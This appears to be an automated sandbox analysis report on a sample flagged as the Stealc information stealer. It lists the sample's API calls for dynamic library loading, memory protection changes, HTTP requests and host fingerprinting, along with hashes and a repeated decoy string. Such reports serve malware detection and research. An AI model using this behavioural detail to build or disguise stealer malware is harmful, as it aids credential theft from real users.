Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1769403587.0000000005850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1812029198.0000000001BDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 00EB9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01BF3150), ref: 00EB9BF1
GetProcAddress.KERNEL32(74DD0000,01BF31E0), ref: 00EB9C0A
GetProcAddress.KERNEL32(74DD0000,01BF3000), ref: 00EB9C22
GetProcAddress.KERNEL32(74DD0000,01BF30F0), ref: 00EB9C3A
GetProcAddress.KERNEL32(74DD0000,01BF30A8), ref: 00EB9C53
GetProcAddress.KERNEL32(74DD0000,01BF9E28), ref: 00EB9C6B
GetProcAddress.KERNEL32(74DD0000,01BE5BB0), ref: 00EB9C83
GetProcAddress.KERNEL32(74DD0000,01BE5B70), ref: 00EB9C9C
GetProcAddress.KERNEL32(74DD0000,01BF3048), ref: 00EB9CB4
GetProcAddress.KERNEL32(74DD0000,01BF3108), ref: 00EB9CCC
GetProcAddress.KERNEL32(74DD0000,01BF3018), ref: 00EB9CE5
GetProcAddress.KERNEL32(74DD0000,01BF3030), ref: 00EB9CFD
GetProcAddress.KERNEL32(74DD0000,01BE5AD0), ref: 00EB9D15
GetProcAddress.KERNEL32(74DD0000,01BF3240), ref: 00EB9D2E
GetProcAddress.KERNEL32(74DD0000,01BF2FE8), ref: 00EB9D46
GetProcAddress.KERNEL32(74DD0000,01BE5BD0), ref: 00EB9D5E
GetProcAddress.KERNEL32(74DD0000,01BF3258), ref: 00EB9D77
GetProcAddress.KERNEL32(74DD0000,01BF3120), ref: 00EB9D8F
GetProcAddress.KERNEL32(74DD0000,01BE5C50), ref: 00EB9DA7
GetProcAddress.KERNEL32(74DD0000,01BF32D0), ref: 00EB9DC0
GetProcAddress.KERNEL32(74DD0000,01BE5E10), ref: 00EB9DD8
LoadLibraryA.KERNEL32(01BF3348,?,00EB6CA0), ref: 00EB9DEA
LoadLibraryA.KERNEL32(01BF3360,?,00EB6CA0), ref: 00EB9DFB
LoadLibraryA.KERNEL32(01BF3378,?,00EB6CA0), ref: 00EB9E0D
LoadLibraryA.KERNEL32(01BF33A8,?,00EB6CA0), ref: 00EB9E1F
LoadLibraryA.KERNEL32(01BF3300,?,00EB6CA0), ref: 00EB9E30
GetProcAddress.KERNEL32(75A70000,01BF3330), ref: 00EB9E52
GetProcAddress.KERNEL32(75290000,01BF3318), ref: 00EB9E73
GetProcAddress.KERNEL32(75290000,01BF3390), ref: 00EB9E8B
GetProcAddress.KERNEL32(75BD0000,01BF32E8), ref: 00EB9EAD
GetProcAddress.KERNEL32(75450000,01BE5E30), ref: 00EB9ECE
GetProcAddress.KERNEL32(76E90000,01BF9CD8), ref: 00EB9EEF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00EB9F06

Strings

NtQueryInformationProcess, xrefs: 00EB9EFA

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 19269057dace6d74ba93d249f00e1f78d899d621e7e92931c0210ad2d1f37ccf
Instruction ID: 2b41215c7f2fdcdab608c7fd495b3a965d5a76bf2edcfc7ceb2e137a8c917675
Opcode Fuzzy Hash: 19269057dace6d74ba93d249f00e1f78d899d621e7e92931c0210ad2d1f37ccf
Instruction Fuzzy Hash: 86A1FEB55146009FD36CDFA9F88C96677BAA74D701B10893AF539C33A8EA7495C0CF60

Function 00EA4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00EA465E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00EA47EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA47C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA47B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA47CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA47AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA46BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EA4779

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 74b06c01683802eacb3bee9e88f55bded602d870c7662574519a84b99c168779
Instruction ID: 947287d428edbe786ed3460abf197c43e78879f6ebcc2a238956ef7bb5d76a31
Opcode Fuzzy Hash: 74b06c01683802eacb3bee9e88f55bded602d870c7662574519a84b99c168779
Instruction Fuzzy Hash: D641EF637C2744EEC729FBA48A4EF9D76665FC6700F507048A81076280FBF2768347A6

Function 00EA62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EA4889
Part of subcall function 00EA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EA4899

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

InternetOpenA.WININET(00EC0DFF,00000001,00000000,00000000,00000000), ref: 00EA6331
StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA6353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EA6385
HttpOpenRequestA.WININET(00000000,GET,?,01BFF220,00000000,00000000,00400100,00000000), ref: 00EA63D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EA640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EA6421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EA644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EA64BD
InternetCloseHandle.WININET(00000000), ref: 00EA653F
InternetCloseHandle.WININET(00000000), ref: 00EA6549
InternetCloseHandle.WININET(00000000), ref: 00EA6553

Strings

ERROR, xrefs: 00EA6457
ERROR, xrefs: 00EA6519
GET, xrefs: 00EA63CC

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 60236f361922bda665a52e45a881589c18a3fedecb160f1402cbaec1006e87ef
Instruction ID: 5933508bcda276b3f974bb02aaf6c8f1d5ad42a9bd2054eefa9f2609a34f988f
Opcode Fuzzy Hash: 60236f361922bda665a52e45a881589c18a3fedecb160f1402cbaec1006e87ef
Instruction Fuzzy Hash: 58715C71A00218ABDF24DB90DC99FEE77B5BB49700F1494A8F11A7B1C4DBB16A84CF51

Function 00EB7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00EB76D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EB770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7793
RtlAllocateHeap.NTDLL(00000000), ref: 00EB779A
wsprintfA.USER32 ref: 00EB77D0

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Strings

\, xrefs: 00EB76F0
:, xrefs: 00EB76EC
C, xrefs: 00EB76DC

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: eb963edc84e65f59d0c01af92562cfb2b594dce1aa124e2620196071e6d3cdfb
Instruction ID: 6bca4a28a59e92b16da4132e7225fb26fabd03e479154052ee883807de3bd9d2
Opcode Fuzzy Hash: eb963edc84e65f59d0c01af92562cfb2b594dce1aa124e2620196071e6d3cdfb
Instruction Fuzzy Hash: 834182B1D04358ABDB14DB94DC45BDEBBB8AF48704F1050A9F609BB280D774AA84CBA5

Function 00EB79E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EA11B7), ref: 00EB7A10
RtlAllocateHeap.NTDLL(00000000), ref: 00EB7A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EB7A2F

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b0ed1d6703b2193bc0606ac5151ab252298b1ace6e82b2132315adf0b701ce70
Instruction ID: 7a1cb9322a05c9d23b79a13eca36a1bf6eddfc41fad4b66308b8d006a7e17a4a
Opcode Fuzzy Hash: b0ed1d6703b2193bc0606ac5151ab252298b1ace6e82b2132315adf0b701ce70
Instruction Fuzzy Hash: 00F04FB1944309EBC714DF98DD49BAEBBB8EB45711F10022AF625A2780C7755540CBA1

Function 00EA1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00EA116A
ExitProcess.KERNEL32 ref: 00EA117E

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3f6a05f321f3310462770d2303652dfb6edcd565cf7c580fad7744e0b4b3e3bd
Instruction ID: e505980b8ec39f50ef08a7fcbad4708dd093387b50770331282e4696844971cc
Opcode Fuzzy Hash: 3f6a05f321f3310462770d2303652dfb6edcd565cf7c580fad7744e0b4b3e3bd
Instruction Fuzzy Hash: ECD05E7490130C9BCB14DFE0A84D6DDBB79FB0C325F0005A4D91572380EA306481CB65

Function 00EB9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01BE5C90), ref: 00EB9F3D
GetProcAddress.KERNEL32(74DD0000,01BE5D30), ref: 00EB9F55
GetProcAddress.KERNEL32(74DD0000,01BFA810), ref: 00EB9F6E
GetProcAddress.KERNEL32(74DD0000,01BFA870), ref: 00EB9F86
GetProcAddress.KERNEL32(74DD0000,01BFA888), ref: 00EB9F9E
GetProcAddress.KERNEL32(74DD0000,01BFA828), ref: 00EB9FB7
GetProcAddress.KERNEL32(74DD0000,01BEC7C0), ref: 00EB9FCF
GetProcAddress.KERNEL32(74DD0000,01BFE000), ref: 00EB9FE7
GetProcAddress.KERNEL32(74DD0000,01BFDF88), ref: 00EBA000
GetProcAddress.KERNEL32(74DD0000,01BFDE38), ref: 00EBA018
GetProcAddress.KERNEL32(74DD0000,01BFE048), ref: 00EBA030
